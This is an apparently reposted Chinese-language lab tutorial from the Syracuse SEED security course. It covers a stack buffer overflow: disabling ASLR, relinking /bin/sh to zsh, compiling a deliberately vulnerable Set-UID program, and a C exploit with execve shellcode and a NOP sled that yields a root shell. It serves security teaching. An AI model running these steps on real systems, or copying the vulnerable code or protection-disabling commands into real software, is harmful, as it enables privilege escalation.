天天看點

SEED資訊安全實驗系列:緩沖區溢出漏洞實驗

緩沖區溢出是指程式試圖向緩沖區寫入超出預配置設定固定長度資料的情況。這一漏洞可以被惡意使用者利用來改變程式的流控制,甚至執行代碼的任意片段。這一漏洞的出現是由于資料緩沖器和傳回位址的暫時關閉,溢出會引起傳回位址被重寫。

緩沖區溢出漏洞實驗

本課程詳細出自http://www.shiyanlou.com/courses/231,轉載請注明出處。

一、實驗描述

二、實驗準備

本次實驗為了友善觀察彙編語句,我們需要在32位環境下作操作,是以實驗之前需要做一些準備。

1、輸入指令安裝一些用于編譯32位C程式的東西:

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev      

2、輸入指令“linux32”進入32位linux環境。此時你會發現,指令行用起來沒那麼爽了,比如不能tab補全了,是以輸入“/bin/bash”使用bash:

三、實驗步驟

3.1 初始設定

Ubuntu和其他一些Linux系統中,使用位址空間随機化來随機堆(heap)和棧(stack)的初始位址,這使得猜測準确的記憶體位址變得十分困難,而猜測記憶體位址是緩沖區溢出攻擊的關鍵。是以本次實驗中,我們使用以下指令關閉這一功能:

sudo sysctl -w kernel.randomize_va_space=0      

此外,為了進一步防範緩沖區溢出攻擊及其它利用shell程式的攻擊,許多shell程式在被調用時自動放棄它們的特權。是以,即使你能欺騙一個Set-UID程式調用一個shell,也不能在這個shell中保持root權限,這個防護措施在/bin/bash中實作。

linux系統中,/bin/sh實際是指向/bin/bash或/bin/dash的一個符号連結。為了重制這一防護措施被實作之前的情形,我們使用另一個shell程式(zsh)代替/bin/bash。下面的指令描述了如何設定zsh程式:

sudo su

cd /bin

rm sh

ln -s zsh sh

exit      

3.2 shellcode

一般情況下,緩沖區溢出會造成程式崩潰,在程式中,溢出的資料覆寫了傳回位址。而如果覆寫傳回位址的資料是另一個位址,那麼程式就會跳轉到該位址,如果該位址存放的是一段精心設計的代碼用于實作其他功能,這段代碼就是shellcode。

觀察以下代碼:

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}      

本次實驗的shellcode,就是剛才代碼的彙編版本:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80      

3.3 漏洞程式

把以下代碼儲存為“stack.c”檔案,儲存到 /tmp 目錄下。代碼如下:

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}      

通過代碼可以知道,程式會讀取一個名為“badfile”的檔案,并将檔案内容裝入“buffer”。

編譯該程式,并設定SET-UID。指令如下:

sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

chmod u+s stack

exit      

GCC編譯器有一種棧保護機制來阻止緩沖區溢出,是以我們在編譯代碼時需要用 –fno-stack-protector 關閉這種機制。

而 -z execstack 用于允許執行棧。

3.4 攻擊程式

我們的目的是攻擊剛才的漏洞程式,并通過攻擊獲得root權限。

把以下代碼儲存為“exploit.c”檔案,儲存到 /tmp 目錄下。代碼如下:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}      

注意上面的代碼,“\x??\x??\x??\x??”處需要添上shellcode儲存在記憶體中的位址,因為發生溢出後這個位置剛好可以覆寫傳回位址。

而 strcpy(buffer+100,shellcode); 這一句又告訴我們,shellcode儲存在 buffer+100 的位置。

現在我們要得到shellcode在記憶體中的位址,輸入指令:

gdb stack

disass main      

結果如圖:

接下來的操作:

根據語句 strcpy(buffer+100,shellcode); 我們計算shellcode的位址為 0xffffd1b0(十六進制)+100(十進制)=0xffffd214(十六進制)

現在修改exploit.c檔案!将 \x??\x??\x??\x?? 修改為 \x14\xd2\xff\xff

然後,編譯exploit.c程式:

gcc -m32 -o exploit exploit.c      

3.5 攻擊結果

先運作攻擊程式exploit,再運作漏洞程式stack,觀察結果:

可見,通過攻擊,獲得了root權限!

如果不能攻擊成功,提示”段錯誤“,那麼請重新使用gdb反彙編,計算記憶體位址。

四、練習

1、按照實驗步驟進行操作,攻擊漏洞程式并獲得root權限。

2、通過指令”sudo sysctl -w kernel.randomize_va_space=2“打開系統的位址空間随機化機制,重複用exploit程式攻擊stack程式,觀察能否攻擊成功,能否獲得root權限。

3、将/bin/sh重新指向/bin/bash(或/bin/dash),觀察能否攻擊成功,能否獲得root權限。

以上練習請在實驗樓環境完成并截圖。

License

本課程所涉及的實驗來自Syracuse SEED labs,并在此基礎上為适配實驗樓網站環境進行修改,修改後的實驗文檔仍然遵循GNU Free Documentation License。

本課程文檔github連結:https://github.com/shiyanlou/seedlab

附Syracuse SEED labs版權聲明:

Copyright Statement Copyright 2006 – 2014 Wenliang Du, Syracuse University. The development of this document is funded by the National Science Foundation’s Course, Curriculum, and Laboratory Improvement (CCLI) program under Award No. 0618680 and 0231122. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation. A copy of the license can befound at http://www.gnu.org/licenses/fdl.html.

繼續閱讀